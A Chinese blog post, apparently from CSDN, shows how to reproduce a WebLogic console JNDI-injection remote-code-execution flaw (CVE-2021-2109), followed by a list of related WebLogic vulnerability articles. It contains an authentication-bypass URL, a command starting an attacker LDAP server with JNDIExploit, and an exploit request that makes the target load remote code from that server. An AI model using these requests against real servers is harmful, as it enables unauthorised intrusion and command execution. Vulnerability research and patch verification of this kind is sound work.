    WebLogic Server 12.2.1.4.0
    WebLogic Server 14.1.1.0.0


    0x02 漏洞分析

    JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。

    RMI是Java远程方法调用,是Java编程语言里一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。

    LDAP是基于X.500标准的轻量级目录访问协议,目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。

    攻击者可通过LDAP协议方式实现JNDI注入攻击,加载远程CodeBase下的恶意类,最后达到远程代码执行

    源码分析:https://zhuanlan.zhihu.com/p/404255545


    0x03 漏洞复现

    访问http://you-ip:7001/console/css/%252e%252e%252f/consolejndi.portal,若存在未授权访问,则影响范围内可能存在此漏洞:
    在这里插入图片描述首先需要在另一台公网服务器(目标机能通的服务器)上启动ldap脚本:https://github.com/feihong-cs/JNDIExploit

    java -jar JNDIExploit-v1.11.jar -i xx.xxx.xxx.xxx (服务器ip)
    

    访问执行命令回显:

    /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22)
    

    注意,ldap地址的第三个分隔符为分号
    在这里插入图片描述


    参考链接:
    https://xz.aliyun.com/t/2458(WebLogic任意文件上传漏洞复现与分析 -【CVE-2018-2894 】)
    https://blog.csdn.net/xuandao_ahfengren/article/details/106597145(CVE-2018-2628漏洞复现)
    https://blog.csdn.net/yeshankuangrenaaaaa/article/details/107533194(CVE-2019-2725漏洞复现)
    https://144.one/weblogic-cve-2020-1488214883lou-dong-fen-xi.html(weblogic-cve-2020-1488214883)
    https://www.cnblogs.com/xuanlvsec/p/14341151.html(CVE-2021-2109)

    展开全文
  • Weblogic漏洞利用总结

    千次阅读 2021-10-28 10:35:54
    weblogic前言一、pandas是什么?二、使用步骤1.引入库2.读入数据总结 前言 提示:这里可以添加本文要记录的大概内容: 例如:随着人工智能的不断发展,机器学习这门技术也越来越重要,很多人都开启了学习机器学习,...
  • Weblogic 常见漏洞汇总

    千次阅读 2022-04-20 17:31:14
    WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,...WebLogic XMLDecoder反序列化漏洞(CVE-2017-3506) 0x00 漏洞描述 网上爆出weblogic的WLS组件存在xmldecoder
  • 好用的Weblogic XML 反序列化漏洞检查工具 CVE-2017-10271 使用范围Oracle WebLogic Server 10.3.6.0.0版本 Oracle WebLogic Server 12.2.1.1.0版本 Oracle WebLogic Server 12.1.3.0.0版本
  • Weblogic XML反序列化漏洞检查工具CVE-2017-10271,用于网络管理员发现网络中存在的Weblogic XML反序列化漏洞,及时进行修补
  • weblogic中间件漏洞汇总

    千次阅读 2021-11-23 20:28:55
    二、安装环境1、下载weblogic2、安装(其实就是点点点啦)三、反序列化漏洞1、XMLDecoder(CVE-2017-102712、XMLDecoder (CVE-2017-35063、wls-wsat远程代码执行(CVE-2019-27254、T3协议命令执行(CVE-2018-26285...
  • weblogic10.3.6安装漏洞补丁

    千次阅读 2020-08-25 15:35:12
    安装Weblogic第一个补丁集p20780171_1036_Generic.zip更新10.3.6.0.12 1、获取Weblogic版本信息,版本截图信息如下: 2、上传p20780171_1036_Generic.zip到/app目录下 3、使用root用户解压p20780171_1036_...
  • 一.weblogic简介 WebLogic是美国Oracle公司出品的一个application server确切的说是一个基于JAVAEE架构的中间件,BEA WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用...
  • Weblogic xmlDecoder反序列化漏洞Weblogic xmlDecoder漏洞分析CVE-2017-3506CVE-2017-10271环境搭建漏洞探测漏洞利用其他PoC Weblogic xmlDecoder CVE-2017-10271 影响版本 Weblogic < 10.3.6 ‘wls-wsat’ ...
  • weblogic漏洞分析之CVE-2016-0638 一、环境搭建: 这里使用前一篇文章的环境,然后打上补丁 上一篇文章:https://www.cnblogs.com/yyhuni/p/15137095.html 下载补丁p20780171_1036_Generic和p22248372_1036012_...
  • Weblogic基线检查

    千次阅读 2020-05-15 00:00:00
    账号系统启动账号限制weblogic的启动账号检查方法:ps -ef|grep -i weblogic 要求执行账号不可以是root和nobody,否则不符合安全要求账户锁定策略要求账号...
  • 日常运维工作中我们有时需要给weblogic打补丁,补丁文件是oracle官方发布的zip包。下面均为我本地的目录结构,实际操作中以你实际的目录为准。1、上传补丁并解压cd /picclife/software/psu -----指定一个存放的目录...
  • weblogicScaner截至 2020 年 3 月 7 日,weblogic 漏洞扫描工具。若存在未记录且已公开 POC 的漏洞,欢迎提交 issue。原作者已经收集得比较完整了,在这里做了部分的 bug 修复,部分脚本 POC 未生效,配置错误等问题...
  • weblogic漏洞复现

    千次阅读 2022-02-23 21:10:02
    WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态...
  • 漏洞简介在Oracle官方发布的2020年10月关键补丁更新公告中,修复了一个Weblogic Console中的高危远程代码执行漏洞CVE-2020-14882。未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求,利用该漏洞在受影响的 ...
  • 2017年1月27日,WebLogic 官方发布了一个编号为 CVEID: CVE-2017-3248 的漏洞,影响为 Critical 。之前轰动一时的反序列化漏洞,官方当时的修补措施,在本漏洞中可被绕过。此次漏洞影响 WebLogic 版本如下图所示:...
  • weblogic系列_Java反序列化_CVE-2015-4852 1:概述1.1:官方概述1.2:漏洞概述2:漏洞原理分析2.1:基本概念2.1欢迎使用Markdown编辑器新的改变功能快捷键合理的创建标题,有助于目录的生成如何改变文本的样式插入...
  • CVE-2017-10271漏洞产生的原因是Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的xml...
  • Weblogic反序列化漏洞(CVE-2019-2725)复现

    千次阅读 2021-11-22 14:32:52
    Weblogic反序列化漏洞(CVE-2019-2725)复现 漏洞描述: CVE-2019-2725是一个Oracle weblogic反序列化远程命令执行漏洞,这个漏洞依旧是根据weblogic的xmldecoder反序列化漏洞,通过针对Oracle官网历年来的补丁构造...
  • 下面我们就以 WebLogic为例,来说明,在我们打完补丁后,如何查看这个补丁修复了哪些组件的哪些漏洞WebLogic版本:12.1.3.0 Patch版本:12.1.3.0.220118 当我们为12.1.3.0打完2022年1月18日发布的一个累积补丁...
  • 一、环境需求 1、Windows server 2008 R2虚拟机一台...2、JDK 7(推荐64位)(该漏洞环境只兼容1.7版本的) 3、WebLogic安装包 二、安装JAVA JAVA环境变量设置: JAVA_HOME:C:\Program Files\Java\j...
  • 使用方法 2.weblogic_ssrf漏洞批量检查脚本 2.1将域名保存在domain.txt文件中 2.2运行脚本 # -*- coding: utf-8 -*- # 功能:批量探测weblogic SSRF漏洞 import re import Queue import requests import threading ...
  • Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令、getshell等危害。 影响版本:Webl...
  • WebLogic LDAP远程代码执行漏洞 漏洞编号 CVE-2021-2109 JNDI简介 JNDI是Java Naming and Directory Interface (Java命名和目录接口)的英文简写, 是为Java应用程序提供命名和目录访问服务的API ...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 2,046
精华内容 818
关键字:

weblogic漏洞检查

友情链接: MVCPMusicPStore.doc.zip